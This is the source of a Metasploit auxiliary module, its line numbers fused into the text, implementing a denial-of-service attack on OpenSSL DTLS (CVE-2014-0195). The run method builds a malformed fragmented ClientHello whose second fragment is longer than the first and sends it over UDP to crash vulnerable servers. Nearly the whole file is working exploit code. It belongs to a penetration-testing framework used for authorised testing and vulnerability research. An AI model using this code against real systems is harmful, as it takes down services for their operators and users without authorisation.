Path: blob/master/modules/auxiliary/dos/ssl/dtls_fragment_overflow.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Exploit::Remote::Udp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',14'Description' => %q{15This module performs a Denial of Service Attack against Datagram TLS in16OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.17This occurs when a DTLS ClientHello message has multiple fragments and the18fragment lengths of later fragments are larger than that of the first, a19buffer overflow occurs, causing a DoS.20},21'Author' => [22'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery23'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module24],25'License' => MSF_LICENSE,26'References' => [27['CVE', '2014-0195'],28['ZDI', '14-173'],29['BID', '67900'],30['URL', 'http://web.archive.org/web/20150815024234/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],31['URL', 'http://web.archive.org/web/20140707160621/http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']32],33'DisclosureDate' => '2014-06-05',34'Notes' => {35'Stability' => [CRASH_SERVICE_DOWN],36'SideEffects' => [],37'Reliability' => []38}39)40)4142register_options([43Opt::RPORT(4433),44OptInt.new('VERSION', [true, 'SSl/TLS version', 0xFEFF])45])46end4748def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body = nil)49# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),50# fragment offset (3 bytes), fragment length (3 bytes), fragment body51sol = (seq << 48) | (frag_offset << 24) | frag_length52[53(type << 24) | length,54(sol >> 32),55(sol & 0x00000000FFFFFFFF)56].pack('NNN') + frag_body57end5859def build_tls_message(type, version, epoch, sequence, message)60# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),61# sequence # (6 bytes) + message length (2 bytes), message body62es = (epoch << 48) | sequence63[64type,65version,66(es >> 32),67(es & 0x00000000FFFFFFFF),68message.length69].pack('CnNNn') + message70end7172def run73# add a small fragment74fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')75# add a large fragment where the length is significantly larger than that of the first76# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations77fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))78message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)79connect_udp80print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")81udp_sock.put(message)82disconnect_udp83end84end858687